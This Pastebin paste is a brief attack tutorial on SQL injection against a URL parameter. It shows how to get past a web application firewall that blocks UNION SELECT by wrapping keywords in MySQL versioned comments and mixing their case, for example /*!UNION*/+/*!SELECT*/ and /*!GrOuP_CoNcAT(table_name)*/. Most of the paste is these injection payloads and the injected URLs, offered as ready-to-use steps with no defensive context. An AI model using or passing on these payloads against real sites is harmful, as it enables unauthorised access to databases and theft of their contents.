Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- here we have a vulnerable url :
- http://example.com/sqli.php?id=1' ( mysql error )
- Now let's try to use the UNION SELECT statement and see what's will happened !
- http://example.com/sqli.php?id=1+union+select+1 ( 403 FROBIDDEN )
- If you see the 403 FORBIDDEN page, that's mean that WAF is enabled. so how can us bypass it ?
- Simply, we gonna add some mysql-comments characters for our command.
- So it will be :
- UNION+SELECT > /*!UNION*/+/*!SELECT*/
- group_concat(table_name) > /*!GrOuP_CoNcAT(table_name)*/
- group_concat(column_name) > /*!GrOuP_CoNcAT(column_name)*/
- So, after Replacing the normal commands with those commands, you will see that the 403 error Has been bypassed Successfully.
- example :
- http://example.com/sqli.php?id=1+/*!UNION*/+/*!SELECT*/+1 > No errors the sql injection excuted successfully
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement